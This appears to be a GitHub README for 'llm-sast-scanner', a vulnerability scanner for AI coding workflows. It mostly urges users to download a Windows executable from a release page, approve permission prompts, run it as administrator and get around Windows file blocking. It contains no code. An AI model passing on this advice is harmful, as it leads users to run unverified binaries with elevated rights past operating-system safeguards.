llm-sast-scanner:面向 AI 编程的 34 类漏洞扫描工具
kutta643/llm-sast-scanner
llm-sast-scanner 是一款面向 AI 编程智能体的代码安全扫描工具,覆盖 34 类漏洞,包括 SQL 注入、命令注入、XSS、路径遍历、硬编码密钥和 SSRF 等。
🛡️ llm-sast-scanner - Clear vulnerability checks for AI coding
🚀 Getting Started
llm-sast-scanner helps AI coding agents find security issues in code with structured checks. It focuses on 34 vulnerability classes and gives clear results that are easier to review.
Use the release page to get the Windows version and run it on your PC.
💾 Download for Windows
- Open the release page
- Find the latest release at the top of the page
- In the Assets section, download the Windows file
- Save the file to your computer
- Open the file to start the app
If Windows asks for permission, choose the option to run it.
🖥️ Before You Start
Use a Windows 10 or Windows 11 PC with:
- At least 4 GB of RAM
- About 200 MB of free disk space
- A stable internet connection for the first download
- Permission to open downloaded files
For best results, close other large apps before you start.
📦 What This Tool Does
This app helps with code security checks. It gives AI agents a structured way to spot common risks such as:
- SQL injection
- Command injection
- Cross-site scripting
- Path traversal
- Weak authentication checks
- Hardcoded secrets
- Unsafe file handling
- Broken access control
- Data exposure
- Unsafe deserialization
- SSRF
- Insecure defaults
It checks code against 34 vulnerability classes, so the output stays organized and easy to review.
🧭 How to Run It
- Download the Windows release from the release page
- Open your Downloads folder
- Double-click the file you downloaded
- If a prompt appears, click Run or Yes
- Wait for the app to open
If the file is a ZIP archive, right-click it and choose Extract All first. Then open the extracted app file.
⚙️ Basic Use
After the app opens, you can use it to inspect code with security rules in a clear format.
Common steps:
- Point the tool at a project folder
- Start a scan
- Review the results
- Fix the issues it flags
- Scan again after changes
The results are meant to help you and your AI coding agent work through issues one by one.
🔍 What You Can Check
You can use llm-sast-scanner to review:
- Web apps
- API services
- Python projects
- JavaScript projects
- TypeScript projects
- Backend code
- Small utility apps
- Mixed codebases
It is useful when you want a fast security pass before shipping code.
🧰 File Types You May See
Depending on the release, the download may include one of these:
.exefile.zipfile- Windows installer package
If you see an .exe, double-click it to run the app.
If you see a .zip, extract it first, then open the app inside.
🔐 Security Checks Included
The scanner covers common issue areas such as:
- Input validation
- Output encoding
- Authentication flow
- Session handling
- Access control
- Secret storage
- Unsafe system calls
- File and path checks
- Network request risks
- Data handling errors
- Logic flaws
- Unsafe parsing
These checks help catch issues before they reach production.
🧪 Example Use Case
If you are asking an AI agent to write code, you can run llm-sast-scanner after the code is generated. It can help you find risky patterns like:
- User input sent to a database without checks
- User data shown on a page without encoding
- A shell command built from raw input
- A file path built from unchecked values
- Credentials stored in plain text
This makes review faster and more consistent.
🛠️ If the App Will Not Open
Try these steps:
- Right-click the file
- Choose Run as administrator
- Check if Windows blocked the file
- Move the file to a simple folder like
DownloadsorDesktop - Download the release again if the file seems damaged
If you used a ZIP file, make sure you extracted all files before opening the app.
📁 Suggested Folder Setup
Keep the app in a simple place like:
DownloadsDesktopC:\Tools\llm-sast-scanner
Avoid deep folder paths with many nested folders. Short paths are easier to manage on Windows.
🧑💻 For AI Coding Workflows
This tool fits well into a coding flow where an AI agent writes code and then checks it for security risks.
A simple flow looks like this:
- Generate code with an AI agent
- Run llm-sast-scanner on the project
- Read the flagged issues
- Ask the AI agent to fix them
- Run the scan again
This gives you a repeatable review step without needing deep security knowledge.
📌 Common Questions
Does it work on Windows?
Yes. Use the release page to download the Windows file.
Do I need to know programming?
No. You only need to download the file, open it, and follow the on-screen steps.
Can I use it on any project?
It is meant for code projects where you want a security review.
What makes it useful?
It gives structured checks across many common vulnerability classes, so results are easier to follow.
🔗 Download
Visit the release page to download and run the Windows file
来源:GitHub · github.com